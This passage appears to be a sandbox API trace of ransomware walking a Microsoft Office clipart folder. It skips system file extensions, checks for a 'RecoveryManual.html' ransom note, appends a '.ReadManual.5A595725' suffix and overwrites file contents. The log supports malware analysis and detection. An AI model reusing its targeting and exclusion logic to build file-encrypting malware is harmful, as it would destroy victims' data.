Office\\CLIPART\\PUB60COR\\BD05119_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.ReadManual.5A595725" [0260.506] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.ReadManual.5A595725") returned 87 [0260.506] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38117499651) returned 1 [0260.506] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0260.506] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.507] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17236) returned 1 [0260.507] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4354, lpName=0x0) returned 0x184 [0260.507] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.507] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.507] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.509] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.509] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4354) returned 0x2f0000 [0260.509] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.509] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38117820946) returned 1 [0260.509] CloseHandle (hObject=0x184) returned 1 [0260.510] SetSecurityInfo () returned 0x57 [0260.510] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.510] CloseHandle (hObject=0x194) returned 1 [0260.511] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0260.511] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD06102_.WMF" | out: lpString1="BD06102_.WMF") returned="BD06102_.WMF" [0260.511] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.511] StrStrIW (lpFirst="BD06102_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.511] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.511] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.511] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" [0260.511] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.ReadManual.5A595725" [0260.511] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.ReadManual.5A595725") returned 87 [0260.511] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38118000343) returned 1 [0260.511] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0260.512] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.512] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16112) returned 1 [0260.512] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ef0, lpName=0x0) returned 0x184 [0260.512] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.512] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.512] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.514] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.514] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ef0) returned 0x2f0000 [0260.515] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38118344307) returned 1 [0260.515] CloseHandle (hObject=0x184) returned 1 [0260.515] SetSecurityInfo () returned 0x57 [0260.515] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.515] CloseHandle (hObject=0x194) returned 1 [0260.516] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0260.516] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD06200_.WMF" | out: lpString1="BD06200_.WMF") returned="BD06200_.WMF" [0260.516] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.516] StrStrIW (lpFirst="BD06200_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.516] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.516] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.516] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" [0260.516] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.ReadManual.5A595725" [0260.516] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.ReadManual.5A595725") returned 87 [0260.516] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38118501186) returned 1 [0260.516] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0260.517] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.517] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16676) returned 1 [0260.517] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4124, lpName=0x0) returned 0x184 [0260.517] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.518] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.518] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.520] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.520] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4124) returned 0x2f0000 [0260.520] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.520] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38118906681) returned 1 [0260.520] CloseHandle (hObject=0x184) returned 1 [0260.520] SetSecurityInfo () returned 0x57 [0260.521] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.521] CloseHandle (hObject=0x194) returned 1 [0260.521] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0260.521] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD07761_.WMF" | out: lpString1="BD07761_.WMF") returned="BD07761_.WMF" [0260.521] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.521] StrStrIW (lpFirst="BD07761_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.521] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.521] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.521] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.521] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.521] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.521] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.521] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.522] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.522] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.522] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.522] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.522] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.522] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.522] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.522] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" [0260.522] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.ReadManual.5A595725" [0260.522] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.ReadManual.5A595725") returned 87 [0260.522] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38119059549) returned 1 [0260.522] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0260.522] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.522] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26748) returned 1 [0260.522] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x687c, lpName=0x0) returned 0x184 [0260.522] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.523] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.525] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.525] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x687c) returned 0x2f0000 [0260.525] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38119406733) returned 1 [0260.525] CloseHandle (hObject=0x184) returned 1 [0260.525] SetSecurityInfo () returned 0x57 [0260.526] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.526] CloseHandle (hObject=0x194) returned 1 [0260.527] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0260.527] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD07804_.WMF" | out: lpString1="BD07804_.WMF") returned="BD07804_.WMF" [0260.527] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.527] StrStrIW (lpFirst="BD07804_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.527] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.527] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.527] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" [0260.527] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.ReadManual.5A595725" [0260.527] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.ReadManual.5A595725") returned 87 [0260.527] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38119589200) returned 1 [0260.527] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0260.527] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.528] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4924) returned 1 [0260.528] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x133c, lpName=0x0) returned 0x184 [0260.528] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.528] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.528] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.530] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.530] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x133c) returned 0x2f0000 [0260.530] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.530] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38119897254) returned 1 [0260.530] CloseHandle (hObject=0x184) returned 1 [0260.530] SetSecurityInfo () returned 0x57 [0260.530] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.530] CloseHandle (hObject=0x194) returned 1 [0260.531] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0260.531] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD07831_.WMF" | out: lpString1="BD07831_.WMF") returned="BD07831_.WMF" [0260.531] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.531] StrStrIW (lpFirst="BD07831_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.531] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.531] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.532] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.532] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.532] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" [0260.532] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.ReadManual.5A595725" [0260.532] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.ReadManual.5A595725") returned 87 [0260.532] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38120044957) returned 1 [0260.532] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0260.533] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.533] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4066) returned 1 [0260.533] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfe2, lpName=0x0) returned 0x184 [0260.533] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 